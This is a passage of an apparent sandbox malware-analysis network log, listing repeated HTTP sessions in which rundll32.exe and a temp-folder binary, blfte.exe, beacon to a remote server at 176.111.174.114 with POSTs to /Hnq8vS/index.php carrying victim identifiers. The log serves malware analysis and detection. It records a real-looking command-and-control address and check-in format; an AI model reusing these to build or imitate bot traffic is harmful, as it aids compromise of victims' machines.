741	192.168.2.5	50157	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
742	176.111.174.114	80	192.168.2.5	50155	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
743	176.111.174.114	80	192.168.2.5	50157	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
744	192.168.2.5	50159	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
745	176.111.174.114	80	192.168.2.5	50159	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
746	192.168.2.5	50160	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
747	176.111.174.114	80	192.168.2.5	50160	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
748	192.168.2.5	50161	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
749	176.111.174.114	80	192.168.2.5	50161	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	176.111.174.114	80	192.168.2.5	49751	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:34.679270029 CEST	1848	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
750	192.168.2.5	50163	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
751	176.111.174.114	80	192.168.2.5	50163	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
752	192.168.2.5	50164	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
753	176.111.174.114	80	192.168.2.5	50164	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
754	192.168.2.5	50165	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
755	176.111.174.114	80	192.168.2.5	50165	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
756	192.168.2.5	50166	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
757	176.111.174.114	80	192.168.2.5	50166	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
758	192.168.2.5	50167	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
759	192.168.2.5	50168	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	49753	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:34.887173891 CEST	1849	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
760	176.111.174.114	80	192.168.2.5	50168	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
761	192.168.2.5	50169	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
762	176.111.174.114	80	192.168.2.5	50167	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
763	176.111.174.114	80	192.168.2.5	50169	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
764	192.168.2.5	50171	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
765	176.111.174.114	80	192.168.2.5	50171	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
766	192.168.2.5	50172	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
767	176.111.174.114	80	192.168.2.5	50172	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
768	192.168.2.5	50173	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
769	176.111.174.114	80	192.168.2.5	50173	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	176.111.174.114	80	192.168.2.5	49753	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:34.987946033 CEST	1850	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
770	192.168.2.5	50175	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
771	176.111.174.114	80	192.168.2.5	50175	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
772	192.168.2.5	50176	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
773	176.111.174.114	80	192.168.2.5	50176	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
774	192.168.2.5	50177	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
775	176.111.174.114	80	192.168.2.5	50177	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
776	192.168.2.5	50178	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
777	176.111.174.114	80	192.168.2.5	50178	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
778	192.168.2.5	50179	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
779	192.168.2.5	50180	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	49754	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:35.196758986 CEST	1850	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
780	176.111.174.114	80	192.168.2.5	50179	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
781	192.168.2.5	50181	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
782	176.111.174.114	80	192.168.2.5	50181	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
783	176.111.174.114	80	192.168.2.5	50180	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
784	192.168.2.5	50182	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
785	176.111.174.114	80	192.168.2.5	50182	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
786	192.168.2.5	50184	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
787	176.111.174.114	80	192.168.2.5	50184	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
788	192.168.2.5	50185	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
789	176.111.174.114	80	192.168.2.5	50185	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	176.111.174.114	80	192.168.2.5	49754	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:35.298080921 CEST	1851	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
790	192.168.2.5	50186	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
791	176.111.174.114	80	192.168.2.5	50186	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
792	192.168.2.5	50188	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
793	176.111.174.114	80	192.168.2.5	50188	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
794	192.168.2.5	50189	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
795	176.111.174.114	80	192.168.2.5	50189	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
796	192.168.2.5	50190	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
797	176.111.174.114	80	192.168.2.5	50190	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
798	192.168.2.5	50191	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
799	176.111.174.114	80	192.168.2.5	50191	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49715	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:23.176055908 CEST	1567	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	49755	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:35.503808022 CEST	1851	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
800	192.168.2.5	50192	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
801	192.168.2.5	50193	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
802	176.111.174.114	80	192.168.2.5	50193	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
803	176.111.174.114	80	192.168.2.5	50192	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
804	192.168.2.5	50194	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
805	176.111.174.114	80	192.168.2.5	50194	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
806	192.168.2.5	50196	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
807	176.111.174.114	80	192.168.2.5	50196	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
808	192.168.2.5	50197	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
809	176.111.174.114	80	192.168.2.5	50197	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	176.111.174.114	80	192.168.2.5	49755	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:35.602546930 CEST	1852	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
810	192.168.2.5	50198	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
811	176.111.174.114	80	192.168.2.5	50198	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
812	192.168.2.5	50200	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
813	176.111.174.114	80	192.168.2.5	50200	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
814	192.168.2.5	50201	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
815	176.111.174.114	80	192.168.2.5	50201	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
816	192.168.2.5	50202	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
817	176.111.174.114	80	192.168.2.5	50202	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
818	192.168.2.5	50203	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
819	176.111.174.114	80	192.168.2.5	50203	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	49757	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:35.806541920 CEST	1852	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
820	192.168.2.5	50204	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
821	192.168.2.5	50205	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
822	176.111.174.114	80	192.168.2.5	50204	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
823	192.168.2.5	50206	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
824	176.111.174.114	80	192.168.2.5	50206	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
825	176.111.174.114	80	192.168.2.5	50205	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
826	192.168.2.5	50208	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
827	176.111.174.114	80	192.168.2.5	50208	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
828	192.168.2.5	50209	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
829	176.111.174.114	80	192.168.2.5	50209	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	176.111.174.114	80	192.168.2.5	49757	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:35.911123991 CEST	1853	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
830	192.168.2.5	50210	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
831	176.111.174.114	80	192.168.2.5	50210	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
832	192.168.2.5	50211	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
833	176.111.174.114	80	192.168.2.5	50211	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
834	192.168.2.5	50213	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
835	176.111.174.114	80	192.168.2.5	50213	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
836	192.168.2.5	50214	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
837	176.111.174.114	80	192.168.2.5	50214	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
838	192.168.2.5	50215	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
839	176.111.174.114	80	192.168.2.5	50215	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	49758	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:36.121916056 CEST	1853	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
840	192.168.2.5	50216	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
841	176.111.174.114	80	192.168.2.5	50216	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
842	192.168.2.5	50217	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
843	192.168.2.5	50218	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
844	176.111.174.114	80	192.168.2.5	50218	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
845	176.111.174.114	80	192.168.2.5	50217	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

